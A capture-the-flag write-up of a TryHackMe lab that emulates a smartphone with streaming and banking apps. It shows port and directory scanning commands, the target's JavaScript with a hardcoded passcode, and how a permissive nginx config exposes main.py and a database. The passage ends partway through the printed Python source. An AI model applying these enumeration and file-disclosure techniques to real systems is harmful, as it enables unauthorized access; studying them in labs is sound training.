# BreachBlocker Unlocker

{% embed url="<https://tryhackme.com/room/sq4-aoc2025-32LoZ4zePK>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We use rustscan `-b 500 -a 10.81.187.73 -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability

```
rustscan -a 10.81.187.73 -- -sV -sC
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGebm8Wlf0NzE6GlrEPfa%2Fgrafik.png?alt=media&#x26;token=ecd339f5-06b3-48d1-bf54-58d9badaad6e" alt=""><figcaption></figcaption></figure>

In addition to unlock port `21337`, we also have ports `22` SSH, `25` SMTP, and `8443` open. At first glance, we are dealing with a web server on `8443`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeM5LZ3NtkKPRa4BblIAX%2Fgrafik.png?alt=media&#x26;token=25556b4f-3f70-4c2b-8683-f31924e4ac38" alt=""><figcaption></figcaption></figure>

Next, we run a directory scan using Feroxbuster on the web server and do not find anything of interest besides a `main.js`.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://10.81.187.73:8443/ -k
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMKFlLIuFnut4JKoTkpES%2Fgrafik.png?alt=media&#x26;token=f6d50274-149e-4495-a3fe-b06cb93dcbc2" alt=""><figcaption></figcaption></figure>

We visit the web service on port `8443` with a browser and see an emulated smartphone interface. With various apps such as Hopflix, HopSec Bank, Mail, Settings, etc.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdZUz5JCRAH7OUVG6RYZA%2Fgrafik.png?alt=media&#x26;token=970a98e2-c327-46a3-b231-cea6c0898eeb" alt=""><figcaption></figcaption></figure>

When we open Hopflix, we'll get a login screen, with an already set email...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYl6dhNgfjZshJa91MsO2%2Fgrafik.png?alt=media&#x26;token=0a8fac31-13ae-46c1-891e-d9951b56f948" alt=""><figcaption></figcaption></figure>

... we'll note that down.

```
sbreachblocker@easterbunnies.thm
```

The HopSec Bank App also requires a lgoin, this time without a preset mail / account id.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKsQ1mHpQ1cOuqA44l9Yg%2Fgrafik.png?alt=media&#x26;token=105e316c-11aa-4d15-8364-e2289fedcc06" alt=""><figcaption></figcaption></figure>

When we inspect the source we come across the `main.js` we found earlier with our Feroxbuster scan. In the source we'll find a hardcoded passcode. We can use that to turn off the faceid feature, but it has no effect. For example, if we want to change the passcode or open the Authenticator app we still get the faceid screen.

What is real interesting for now is the `checkCredentials(email, password)` function which is used for the Hopflix app.

This function sends login credentials to `/api/check-credentials` and measures the request’s response time using `performance.now()`. It logs timing data for each attempt and returns whether the credentials are valid along with the elapsed time. In the context of a CTF, this could be an initial indication of a timing attack to enumerate the password, but more on that later.

For the HopSec Bank app we'll find the folllowing function::

`bankLoginHandler()`:

This function submits the account ID and PIN to `/api/bank-login`. If successful, it populates a dropdown of trusted email addresses and transitions to the OTP selection screen. Errors are displayed inline to the user.

`bankOtpHandler()`:

This function requests a one-time password to be sent to a selected trusted email. On success, it moves the user to the 2FA verification screen. Failures result in a visible error message.

`verify2FA()`:

This function collects six individual OTP digits and submits them to `/api/verify-2fa`. If the code is valid, the user gains access to the bank dashboard. Invalid codes reset the input fields and show an error.

{% code title="main.js" overflow="wrap" lineNumbers="true" expandable="true" %}

```javascript
let _s = null,
	_t = [],
	_a = 0,
	_i = null;
async function _c(e, m = 'GET', b = null) {
	const o = {
		method: m,
		headers: {
			'Content-Type': 'application/json'
		}
	};
	if (b) o.body = JSON.stringify(b);
	return fetch(e, o)
}
async function checkCredentials(e, p) {
	const st = performance.now();
	try {
		const r = await _c('/api/check-credentials', 'POST', {
			email: e,
			password: p
		});
		const d = await r.json();
		const et = performance.now();
		const tt = et - st;
		_t.push({
			email: e,
			password: p,
			time: tt,
			timestamp: et
		});
		return {
			valid: d.valid,
			time: tt
		}
	} catch (e) {
		console.error('API call failed:', e);
		return {
			valid: false,
			time: 0
		}
	}
}
document.getElementById('hopflixApp').addEventListener('click', async () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('streamingView').classList.remove('hidden');
	document.getElementById('streamingEmail').value = 'sbreachblocker@easterbunnies.thm';
});
document.getElementById('bankApp').addEventListener('click', () => {
	window.bankAuthenticated = false;
	window.bank2FAVerified = false;
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('bankView').classList.remove('hidden');
	document.getElementById('bankLoginForm').classList.remove('hidden');
	document.getElementById('bankOtpForm').classList.add('hidden');
	document.getElementById('bank2FA').classList.add('hidden');
	document.getElementById('bankDashboard').classList.add('hidden');
});
document.getElementById('browserApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('browserView').classList.remove('hidden');
});
document.getElementById('backFromBrowser').addEventListener('click', () => {
	document.getElementById('browserView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
document.getElementById('phoneApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('phoneView').classList.remove('hidden');
});
document.getElementById('backFromPhone').addEventListener('click', () => {
	document.getElementById('phoneView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
document.getElementById('authenticatorApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('authenticatorView').classList.remove('hidden');
	document.getElementById('faceIdPrompt').style.display = 'flex';
	document.getElementById('authenticatorCodeView').classList.add('hidden');
	document.getElementById('faceIdError').style.display = 'none';
	startFaceID();
});

function startFaceID() {
	const _fi = document.getElementById('faceIdIcon');
	const _sl = document.getElementById('faceIdScanLine');
	const _ed = document.getElementById('faceIdError');
	_fi.style.borderColor = '#fff';
	_fi.style.animation = 'faceIdPulse 2s ease-in-out infinite';
	_sl.style.animation = 'scan 2s ease-in-out infinite';
	_sl.style.display = 'block';
	_ed.style.display = 'none';
	const _sd = 2000 + Math.random() * 1000;
	setTimeout(() => {
			_fi.style.animation = 'none';
			_sl.style.animation = 'none';
			_sl.style.display = 'none';
			_fi.style.borderColor = '#ff3b30';
			_fi.innerHTML = '<div style="font-size: 60px; color: #ff3b30;">✗</div>';
			_ed.style.display = 'block';
			setTimeout(() => {
				startFaceID();
			}, 1000);
	}, _sd);
}
document.getElementById('faceIdCancel').addEventListener('click', () => {
	document.getElementById('authenticatorView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
document.getElementById('settingsApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('settingsView').classList.remove('hidden');
	document.getElementById('securityPasscodeLock').classList.add('hidden');
	document.getElementById('settingsList').style.display = 'block';
	document.getElementById('securitySettings').classList.add('hidden');
	document.getElementById('twoFactorAuthSettings').classList.add('hidden');
});
document.getElementById('backFromSettings').addEventListener('click', () => {
	document.getElementById('settingsView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
setTimeout(() => {
	const _si = document.getElementById('settingsSearch');
	if (_si) {
		_si.addEventListener('input', (e) => {
			const _st = e.target.value.toLowerCase();
			const _it = document.querySelectorAll('.settings-item[data-search]');
			_it.forEach(_i => {
				const _stx = _i.dataset.search.toLowerCase();
				if (_stx.includes(_st) || _st === '') {
					_i.classList.remove('hidden');
				} else {
					_i.classList.add('hidden');
				}
			});
		});
	}
	document.querySelectorAll('.settings-item[data-search*="security"]').forEach(_i => {
		_i.addEventListener('click', () => {
			document.getElementById('settingsList').style.display = 'none';
			document.getElementById('securitySettings').classList.remove('hidden');
		});
	});
	const backFromSecurityBtn = document.getElementById('backFromSecuritySettings');
	if (backFromSecurityBtn) {
		backFromSecurityBtn.addEventListener('click', () => {
			document.getElementById('securitySettings').classList.add('hidden');
			document.getElementById('settingsList').style.display = 'block';
		});
	}
	const changePasscodeItem = document.getElementById('changePasscodeItem');
	if (changePasscodeItem) {
		changePasscodeItem.addEventListener('click', () => {
			const faceIdPrompt = document.getElementById('changePasscodeFaceId');
			faceIdPrompt.classList.remove('hidden');
			faceIdPrompt.style.display = 'flex';
			startChangePasscodeFaceID();
		});
	}

	function startChangePasscodeFaceID() {
		const _fi = document.getElementById('changePasscodeFaceIdIcon');
		const _sl = document.getElementById('changePasscodeScanLine');
		const _ed = document.getElementById('changePasscodeFaceIdError');
		_fi.style.borderColor = '#fff';
		_fi.style.animation = 'faceIdPulse 2s ease-in-out infinite';
		_sl.style.animation = 'scan 2s ease-in-out infinite';
		_sl.style.display = 'block';
		_ed.style.display = 'none';
		_fi.innerHTML = '<div style="font-size: 60px; color: #fff;">👤</div><div id="changePasscodeScanLine" style="position: absolute; top: 0; left: 0; right: 0; width: 100%; height: 2px; background: linear-gradient(to bottom, rgba(0,255,0,0.8), rgba(0,255,0,0.3));"></div>';
		const _sd = 2000 + Math.random() * 1000;
		setTimeout(() => {
			_fi.style.animation = 'none';
			_sl.style.animation = 'none';
			_sl.style.display = 'none';
			_fi.style.borderColor = '#ff3b30';
			_fi.innerHTML = '<div style="font-size: 60px; color: #ff3b30;">✗</div>';
			_ed.style.display = 'block';
			setTimeout(() => {
				startChangePasscodeFaceID();
			}, 1000);
		}, _sd);
	}
	const changePasscodeCancelBtn = document.getElementById('changePasscodeFaceIdCancel');
	if (changePasscodeCancelBtn) {
		changePasscodeCancelBtn.addEventListener('click', () => {
			document.getElementById('changePasscodeFaceId').classList.add('hidden');
			document.getElementById('changePasscodeFaceId').style.display = 'none';
		});
	}
	const twoFactorAuthItem = document.getElementById('twoFactorAuthItem');
	if (twoFactorAuthItem) {
		twoFactorAuthItem.addEventListener('click', () => {
			document.getElementById('securitySettings').classList.add('hidden');
			document.getElementById('twoFactorAuthSettings').classList.remove('hidden');
		});
	}
	const backFromTwoFactorAuthBtn = document.getElementById('backFromTwoFactorAuth');
	if (backFromTwoFactorAuthBtn) {
		backFromTwoFactorAuthBtn.addEventListener('click', () => {
			document.getElementById('twoFactorAuthSettings').classList.add('hidden');
			document.getElementById('securitySettings').classList.remove('hidden');
		});
	}
	const PHONE_PASSCODE = "210701";
	let _sep = "";

	function updateSecurityPasscodeDots() {
		for (let i = 1; i <= 6; i++) {
			const _dt = document.getElementById(`securityPasscodeDot${i}`);
			if (_dt) {
				if (i <= _sep.length) {
					_dt.style.background = '#fff';
					_dt.style.borderColor = '#fff';
				} else {
					_dt.style.background = 'transparent';
					_dt.style.borderColor = '#666';
				}
			}
		}
	}
	const _ft = document.getElementById('faceIdToggle');
	if (_ft) {
		_ft.addEventListener('change', (e) => {
			if (!e.target.checked) {
				e.target.checked = true;
				const _pl = document.getElementById('securityPasscodeLock');
				_pl.classList.remove('hidden');
				_pl.style.display = 'flex';
				_sep = "";
				updateSecurityPasscodeDots();
			} else {
				window.faceIdDisabled = false;
			}
		});
	}
	document.querySelectorAll('.security-passcode-btn[data-digit]').forEach(btn => {
		btn.addEventListener('click', () => {
			if (_sep.length < 6) {
				_sep += btn.dataset.digit;
				updateSecurityPasscodeDots();
				if (_sep.length === 6) {
					setTimeout(() => {
						if (_sep === PHONE_PASSCODE) {
							const _pl = document.getElementById('securityPasscodeLock');
							_pl.classList.add('hidden');
							_pl.style.display = 'none';
							_ft.checked = false;
							window.faceIdDisabled = true;
							_sep = "";
						} else {
							const _ed = document.getElementById('securityPasscodeError');
							if (_ed) {
								_ed.style.display = 'block';
							}
							_sep = "";
							updateSecurityPasscodeDots();
							setTimeout(() => {
								if (_ed) {
									_ed.style.display = 'none';
								}
							}, 2000);
						}
					}, 200);
				}
			}
		});
	});
	const securityDeleteBtn = document.getElementById('securityPasscodeDelete');
	if (securityDeleteBtn) {
		securityDeleteBtn.addEventListener('click', () => {
			if (_sep.length > 0) {
				_sep = _sep.slice(0, -1);
				updateSecurityPasscodeDots();
			}
		});
	}
	const securityCancelBtn = document.getElementById('securityPasscodeCancel');
	if (securityCancelBtn) {
		securityCancelBtn.addEventListener('click', () => {
			const _pl = document.getElementById('securityPasscodeLock');
			_pl.classList.add('hidden');
			_pl.style.display = 'none';
			_sep = "";
			updateSecurityPasscodeDots();
		});
	}
}, 100);
document.getElementById('backFromAuthenticator').addEventListener('click', () => {
	document.getElementById('authenticatorView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
const _av = document.getElementById('authenticatorView');
document.getElementById('mailApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('mailView').classList.remove('hidden');
});
document.getElementById('backFromMail').addEventListener('click', () => {
	document.getElementById('mailView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
document.getElementById('photosApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('photosView').classList.remove('hidden');
});
document.getElementById('backFromPhotos').addEventListener('click', () => {
	document.getElementById('photosView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
window.openPhoto = function(_ps) {
	document.getElementById('viewerImage').src = _ps;
	const _v = document.getElementById('photoViewer');
	_v.classList.remove('hidden');
	_v.style.display = 'flex';
};
document.getElementById('closePhotoViewer').addEventListener('click', () => {
	const _v = document.getElementById('photoViewer');
	_v.classList.add('hidden');
	_v.style.display = 'none';
});
document.getElementById('photoViewer').addEventListener('click', (e) => {
	if (e.target.id === 'photoViewer') {
		const _v = document.getElementById('photoViewer');
		_v.classList.add('hidden');
		_v.style.display = 'none';
	}
});
document.getElementById('messagesApp').addEventListener('click', () => {
	document.getElementById('homeScreen').classList.add('hidden');
	document.getElementById('messagesListView').classList.remove('hidden');
});
document.getElementById('backFromMessagesList').addEventListener('click', () => {
	document.getElementById('messagesListView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
window.openConversation = function(_conv) {
	document.getElementById('messagesListView').classList.add('hidden');
	document.getElementById('messagesView').classList.remove('hidden');
	if (_conv === 'drHairwell') {
		document.getElementById('drHairwellConversation').classList.remove('hidden');
		document.getElementById('unknownConversation').classList.add('hidden');
		document.getElementById('bestieConversation').classList.add('hidden');
		document.getElementById('jesterConversation').classList.add('hidden');
		document.getElementById('kingMalhareConversation').classList.add('hidden');
		document.getElementById('carrotBaneConversation').classList.add('hidden');
		document.getElementById('conversationHeader').textContent = 'Dr. Hairwell';
		document.getElementById('conversationSubtitle').textContent = 'Ear Hair Specialist';
	} else if (_conv === 'unknown') {
		document.getElementById('drHairwellConversation').classList.add('hidden');
		document.getElementById('unknownConversation').classList.remove('hidden');
		document.getElementById('bestieConversation').classList.add('hidden');
		document.getElementById('jesterConversation').classList.add('hidden');
		document.getElementById('kingMalhareConversation').classList.add('hidden');
		document.getElementById('carrotBaneConversation').classList.add('hidden');
		document.getElementById('conversationHeader').textContent = '+44 7911 123456';
		document.getElementById('conversationSubtitle').textContent = '';
	} else if (_conv === 'bestie') {
		document.getElementById('drHairwellConversation').classList.add('hidden');
		document.getElementById('unknownConversation').classList.add('hidden');
		document.getElementById('bestieConversation').classList.remove('hidden');
		document.getElementById('jesterConversation').classList.add('hidden');
		document.getElementById('kingMalhareConversation').classList.add('hidden');
		document.getElementById('carrotBaneConversation').classList.add('hidden');
		document.getElementById('conversationHeader').textContent = 'Bestie';
		document.getElementById('conversationSubtitle').textContent = '';
	} else if (_conv === 'jester') {
		document.getElementById('drHairwellConversation').classList.add('hidden');
		document.getElementById('unknownConversation').classList.add('hidden');
		document.getElementById('bestieConversation').classList.add('hidden');
		document.getElementById('jesterConversation').classList.remove('hidden');
		document.getElementById('kingMalhareConversation').classList.add('hidden');
		document.getElementById('carrotBaneConversation').classList.add('hidden');
		document.getElementById('conversationHeader').textContent = 'JEster';
		document.getElementById('conversationSubtitle').textContent = 'Best Bud';
	} else if (_conv === 'kingMalhare') {
		document.getElementById('drHairwellConversation').classList.add('hidden');
		document.getElementById('unknownConversation').classList.add('hidden');
		document.getElementById('bestieConversation').classList.add('hidden');
		document.getElementById('jesterConversation').classList.add('hidden');
		document.getElementById('kingMalhareConversation').classList.remove('hidden');
		document.getElementById('carrotBaneConversation').classList.add('hidden');
		document.getElementById('conversationHeader').textContent = 'King Malhare';
		document.getElementById('conversationSubtitle').textContent = 'Ruler of HopSec Island';
	} else if (_conv === 'carrotBane') {
		document.getElementById('drHairwellConversation').classList.add('hidden');
		document.getElementById('unknownConversation').classList.add('hidden');
		document.getElementById('bestieConversation').classList.add('hidden');
		document.getElementById('jesterConversation').classList.add('hidden');
		document.getElementById('kingMalhareConversation').classList.add('hidden');
		document.getElementById('carrotBaneConversation').classList.remove('hidden');
		document.getElementById('conversationHeader').textContent = 'Sir CarrotBane';
		document.getElementById('conversationSubtitle').textContent = 'Head of Red Team Battalion';
	}
};
document.getElementById('backFromMessages').addEventListener('click', () => {
	document.getElementById('messagesView').classList.add('hidden');
	document.getElementById('messagesListView').classList.remove('hidden');
});
document.getElementById('backFromStreaming').addEventListener('click', () => {
	document.getElementById('streamingView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
	document.getElementById('streamingLoginScreen').classList.remove('hidden');
	document.getElementById('streamingBrowseScreen').classList.add('hidden');
});
document.getElementById('backFromBrowse').addEventListener('click', () => {
	document.getElementById('streamingView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
	document.getElementById('streamingLoginScreen').classList.remove('hidden');
	document.getElementById('streamingBrowseScreen').classList.add('hidden');
});
document.getElementById('backFromBank').addEventListener('click', () => {
	document.getElementById('bankView').classList.add('hidden');
	document.getElementById('homeScreen').classList.remove('hidden');
});
document.getElementById('streamingLoginForm').addEventListener('submit', async (e) => {
	e.preventDefault();
	const _em = document.getElementById('streamingEmail').value;
	const _pw = document.getElementById('streamingPassword').value;
	const _ed = document.getElementById('streamingError');
	const _sb = e.target.querySelector('button[type="submit"]');
	_ed.style.display = 'none';
	_sb.disabled = true;
	_sb.textContent = 'Signing in...';
	_a++;
	const _r = await checkCredentials(_em, _pw);
	_sb.disabled = false;
	_sb.textContent = 'Sign In';
	if (_r.valid) {
		try {
			const lastViewedResponse = await _c('/api/get-last-viewed');
			const data = await lastViewedResponse.json();
			document.getElementById('streamingLoginScreen').classList.add('hidden');
			document.getElementById('streamingBrowseScreen').classList.remove('hidden');
			document.getElementById('continueWatchingFlag').textContent = data.last_viewed;
		} catch (_e) {
			console.error('Login failed:', _e);
			_ed.style.display = 'block';
		}
	} else {
		_ed.style.display = 'block';
	}
});
const bankLoginHandler = async () => {
	const _aid = document.getElementById('bankAccountId').value;
	const _pn = document.getElementById('bankPin').value;
	const _ed = document.getElementById('bankError');
	const _lb = document.getElementById('bankLoginButton');
	const _oes = document.getElementById('otpEmailSelect');
	_ed.style.display = 'none';
	_lb.disabled = true;
	_lb.textContent = 'Accessing...';
	try {
		const _rs = await _c('/api/bank-login', 'POST', {
			account_id: _aid,
			pin: _pn
		});
		const _d = await _rs.json();
		if (_rs.ok && _d.success) {
			window.bankAuthenticated = true;
			window.bank2FAVerified = false;
			
			_oes.innerHTML = "";
			for(te of _d.trusted_emails){
				_oes.options[_oes.options.length] = new Option(te, te);
			}

			document.getElementById('bankLoginForm').classList.add('hidden');
			document.getElementById('bankOtpForm').classList.remove('hidden');
		} else {
			_ed.style.display = 'block';
			_ed.textContent = _d.error || 'Invalid credentials';
		}
	} catch (_e) {
		_ed.style.display = 'block';
		_ed.textContent = 'Login failed. Please try again.';
	}
	_lb.disabled = false;
	_lb.textContent = 'Access Account';
};
const bankOtpHandler = async () => {
	const _aid = document.getElementById('otpEmailSelect').value;
	const _ed = document.getElementById('otpError');
	const _lb = document.getElementById('sendOtpButton');
	_ed.style.display = 'none';
	_lb.disabled = true;
	_lb.textContent = 'Accessing...';
	try {
		const _rs = await _c('/api/send-2fa', 'POST', {
			otp_email: _aid
		});
		const _d = await _rs.json();
		if (_rs.ok && _d.success) {
			window.bankAuthenticated = true;
			window.bank2FAVerified = false;
			document.getElementById('bankOtpForm').classList.add('hidden');
			document.getElementById('bank2FA').classList.remove('hidden');
		} else {
			_ed.style.display = 'block';
			_ed.textContent = _d.error || 'Error sending OTP';
		}
	} catch (_e) {
		_ed.style.display = 'block';
		_ed.textContent = 'OTP generation failed. Please try again.';
	}
	_lb.disabled = false;
	_lb.textContent = 'Access Account';
};
const verify2FA = async () => {
	const code1 = document.getElementById('code1').value;
	const code2 = document.getElementById('code2').value;
	const code3 = document.getElementById('code3').value;
	const code4 = document.getElementById('code4').value;
	const code5 = document.getElementById('code5').value;
	const code6 = document.getElementById('code6').value;
	const _ec = code1 + code2 + code3 + code4 + code5 + code6;
	const _ed = document.getElementById('twoFAError');
	const _vb = document.getElementById('verify2FAButton');
	_ed.style.display = 'none';
	_vb.disabled = true;
	_vb.textContent = 'Verifying...';
	try {
		const _rs = await _c('/api/verify-2fa', 'POST', {
			code: _ec
		});
		const _d = await _rs.json();
		if (_rs.ok && _d.success) {
			window.bank2FAVerified = true;
			document.getElementById('bank2FA').classList.add('hidden');
			document.getElementById('bankDashboard').classList.remove('hidden');
		} else {
			_ed.style.display = 'block';
			_ed.textContent = _d.error || 'Invalid code';
			_vb.disabled = false;
			_vb.textContent = 'Verify';
			['code1', 'code2', 'code3', 'code4', 'code5', 'code6'].forEach(id => {
				document.getElementById(id).value = '';
			});
		}
	} catch (_e) {
		_ed.style.display = 'block';
		_ed.textContent = 'Verification failed. Please try again.';
		_vb.disabled = false;
		_vb.textContent = 'Verify';
	}
};
document.getElementById('verify2FAButton').addEventListener('click', verify2FA);
['code1', 'code2', 'code3', 'code4', 'code5', 'code6'].forEach((id, _idx) => {
	const _in = document.getElementById(id);
	_in.addEventListener('input', (e) => {
		if (e.target.value && _idx < 5) {
			document.getElementById(['code1', 'code2', 'code3', 'code4', 'code5', 'code6'][_idx + 1]).focus();
		}
	});
	_in.addEventListener('keydown', (e) => {
		if (e.key === 'Backspace' && !e.target.value && _idx > 0) {
			document.getElementById(['code1', 'code2', 'code3', 'code4', 'code5', 'code6'][_idx - 1]).focus();
		}
	});
});
document.getElementById('code6').addEventListener('keypress', (e) => {
	if (e.key === 'Enter') {
		verify2FA();
	}
});
document.getElementById('bankLoginButton').addEventListener('click', bankLoginHandler);
document.getElementById('bankPin').addEventListener('keypress', (e) => {
	if (e.key === 'Enter') {
		bankLoginHandler();
	}
});
document.getElementById('sendOtpButton').addEventListener('click', bankOtpHandler);

window.bankAuthenticated = false;
window.bank2FAVerified = false;
document.getElementById('releaseButton').addEventListener('click', async () => {
	if (!window.bankAuthenticated || !window.bank2FAVerified) {
		alert('Access denied. Please complete authentication first.');
		return;
	}
	try {
		const _rs = await _c('/api/release-funds', 'POST');
		const _d = await _rs.json();
		if (_rs.ok && _d.flag) {
			document.getElementById('releaseButton').disabled = true;
			document.getElementById('releaseButton').textContent = 'Funds Released';
			document.getElementById('releaseButton').style.background = '#00c853';
			const _ti = document.querySelector('.transaction-item');
			_ti.querySelector('.transaction-label').innerHTML = '<div>AoC Festival Charity Fund</div><div style="font-size: 12px; color: #4caf50; margin-top: 5px;">Status: Released ✓</div>';
			document.getElementById('flagDisplay').style.display = 'block';
			document.getElementById('flagDisplay').textContent = _d.flag;
		} else {
			alert('Failed to release funds. Please try again.');
		}
	} catch (_e) {
		console.error('Failed to release funds:', _e);
		alert('Failed to release funds. Please try again.');
	}
});

```

{% endcode %}

For now, we're stuck here. We could try to verify the email address in the Hopflix app via `/api/check-credentials` and brute force the password using a timing attack. But we don't know the exact logic behind how this password is verified.

We enumerate the directories and pages again with additional wordlists and get more hits with the `quickhits.txt` list. At least we are now able to spot the `nginx.conf`.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u https://10.81.187.73:8443/ -k
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCiY6MqtVI1l5egp1xeJz%2Fgrafik.png?alt=media&#x26;token=847624b1-d5e9-47ff-88e4-9a577a90f8df" alt=""><figcaption></figcaption></figure>

The `nginx.conf` contains the following entries:

```
location @app {
    include uwsgi_params;
    uwsgi_pass unix:///tmp/uwsgi.sock;
}

```

uWSGI runs a WSGI application, which expose a callable named `application`. According to ChatGPT

the project structure could look like the following:

```
/app/
 ├── app.py
 ├── main.py
 ├── wsgi.py
 ├── uwsgi.ini
 └── requirements.txt

```

Furthermore we got:

```
location / {
    try_files $uri @app;
}

```

This means:

1. If the requested path exists as a file, Nginx serves it directly
2. Otherwise, request is passed to the application

Which would allow LFI technically.

{% code title="nginx.conf" overflow="wrap" lineNumbers="true" expandable="true" %}

```
user  nginx;
worker_processes 4;
error_log  /var/log/nginx/error.log warn;
pid        /var/run/nginx.pid;
events {
    worker_connections 2048;
}
http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    log_format  main  '$remote_addr - $remote_user [$time_local] "$request" '
                      '$status $body_bytes_sent "$http_referer" '
                      '"$http_user_agent" "$http_x_forwarded_for"';
    access_log  /var/log/nginx/access.log  main;
    sendfile        on;
    keepalive_timeout  300;
    server {
        listen 443 ssl http2;
	ssl_certificate /app/server.cert;
	ssl_certificate_key /app/server.key;
	ssl_protocols TLSv1.2;
        location / {
            try_files $uri @app;
        }
        location @app {
            include uwsgi_params;
            uwsgi_pass unix:///tmp/uwsgi.sock;
        }
    }
}
daemon off;

```

{% endcode %}

Let's check for some Python files, we include the file extension .py in our Feroxbuster scan and we find a main.py. With that we are also able to detect and reach `/hopflix-874297.db`. That file contains a hash, which, as we later learn, is custom-built, but does not appear to be crackable.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://10.81.187.73:8443/ -k -x py
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7DVtAg5M21DxdGQoHeqD%2Fgrafik.png?alt=media&#x26;token=bb3c7031-ed7a-4727-998e-c76f7c154951" alt=""><figcaption></figcaption></figure>

## Flag 1

So, we are able to include files and request the `main.py`. Inside the main.py we find the first flag, and the logic how the password hash for the Hopflix app is crafted and checked. More on that later in section Flag 2.

```
view-source:https://10.81.151.84:8443/main.py
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu1RskV4TY6znRcOMSCYH%2Fgrafik.png?alt=media&#x26;token=12ccad05-9fbe-4c81-bc7a-3bf6879147b7" alt=""><figcaption></figcaption></figure>

{% code title="main.py" overflow="wrap" lineNumbers="true" expandable="true" %}

```python
from flask import Flask, request, jsonify, send_from_directory, session
import time
import random
import os
import hashlib
import time
import smtplib
import sqlite3
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import base64

connection = sqlite3.connect("/hopflix-874297.db")
cursor = connection.cursor()

connection2 = sqlite3.connect("/hopsecbank-12312497.db")
cursor2 = connection2.cursor()

app = Flask(__name__)
app.secret_key = os.getenv('SECRETKEY')

aes_key = bytes(os.getenv('AESKEY'), "utf-8")

# Credentials (server-side only)
HOPFLIX_FLAG = os.getenv('HOPFLIX_FLAG')
BANK_ACCOUNT_ID = "hopper"
BANK_PIN = os.getenv('BANK_PIN')
BANK_FLAG = os.getenv('BANK_FLAG')
#CODE_FLAG = THM{REDACTED}

def encrypt(plaintext):
    cipher = AES.new(aes_key, AES.MODE_GCM)
    ciphertext, tag = cipher.encrypt_and_digest(plaintext.encode('utf-8'))
    return base64.b64encode(cipher.nonce + tag + ciphertext).decode('utf-8')

def decrypt(encrypted_data):
    decoded_data = base64.b64decode(encrypted_data.encode('utf-8'))
    nonce_len = 16
    tag_len = 16
    nonce = decoded_data[:nonce_len]
    tag = decoded_data[nonce_len:nonce_len + tag_len]
    ciphertext = decoded_data[nonce_len + tag_len:]

    cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
    plaintext_bytes = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext_bytes.decode('utf-8')

def validate_email(email):
    if '@' not in email:
        return False
    if any(ord(ch) <= 32 or ord(ch) >=126 or ch in [',', ';'] for ch in email):
        return False

    return True

def send_otp_email(otp, to_addr):
    if not validate_email(to_addr):
        return -1

    allowed_emails= session['bank_allowed_emails']
    allowed_domains= session['bank_allowed_domains']
    domain = to_addr.split('@')[-1]
